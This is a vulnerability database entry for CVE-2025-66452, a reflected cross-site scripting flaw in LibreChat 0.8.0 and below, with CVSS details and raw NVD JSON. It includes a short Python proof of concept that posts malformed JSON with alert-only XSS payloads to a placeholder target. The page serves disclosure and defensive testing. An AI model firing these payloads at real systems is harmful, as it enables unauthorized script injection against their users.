Security Vulnerability Report
中文
CVE-2025-66452 CVSS 6.1 MEDIUM

CVE-2025-66452

Published: 2025-12-11 23:15:51
Last Modified: 2025-12-15 17:35:25

Description

LibreChat is a ChatGPT clone with additional features. In versions 0.8.0 and below, there is no handler for JSON parsing errors; SyntaxError from express.json() includes user input in the error message, which gets reflected in responses. User input (including HTML/JavaScript) can be exposed in error responses, creating an XSS risk if Content-Type isn't strictly enforced. This issue does not have a fix at the time of publication.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:librechat:librechat:*:*:*:*:*:*:*:* - VULNERABLE
LibreChat <= 0.8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-66452 PoC - LibreChat JSON Parsing Error XSS # Target: LibreChat <= 0.8.0 target_url = "http://target-server/api/chat" # Payload: Malformed JSON with XSS vector malformed_json = '{"messages":[{"role":"user","content":"test"}],"<img src=x onerror=alert(document.domain)>":"value"}' headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } print("[*] Sending malformed JSON request to trigger XSS...") print(f"[*] Target: {target_url}") print(f"[*] Payload: {malformed_json}") try: response = requests.post(target_url, data=malformed_json, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body Preview: {response.text[:500]}") # Check if our XSS payload appears in the response (indicating vulnerability) if 'onerror=alert' in response.text or 'SyntaxError' in response.text: print("[!] VULNERABLE: XSS payload reflected in error response") else: print("[-] Response does not reflect payload or different error occurred") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Alternative PoC using invalid JSON syntax print("\n[*] Trying alternative payload with raw invalid JSON...") alt_payload = '{"test":"value", "<script>alert(1)</script>":"data"}' try: response2 = requests.post(target_url, data=alt_payload, headers=headers, timeout=10) if '<script>alert(1)</script>' in response2.text: print("[!] VULNERABLE: Script tag reflected in response") except: pass

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66452", "sourceIdentifier": "[email protected]", "published": "2025-12-11T23:15:50.880", "lastModified": "2025-12-15T17:35:25.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LibreChat is a ChatGPT clone with additional features. In versions 0.8.0 and below, there is no handler for JSON parsing errors; SyntaxError from express.json() includes user input in the error message, which gets reflected in responses. User input (including HTML/JavaScript) can be exposed in error responses, creating an XSS risk if Content-Type isn't strictly enforced. This issue does not have a fix at the time of publication."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:librechat:librechat:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.8.0", "matchCriteriaId": "943E23F6-D1D8-44B9-92E4-72EB68074C4D"}]}]}], "references": [{"url": "https://github.com/danny-avila/LibreChat/security/advisories/GHSA-q6c5-gvj5-c264", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}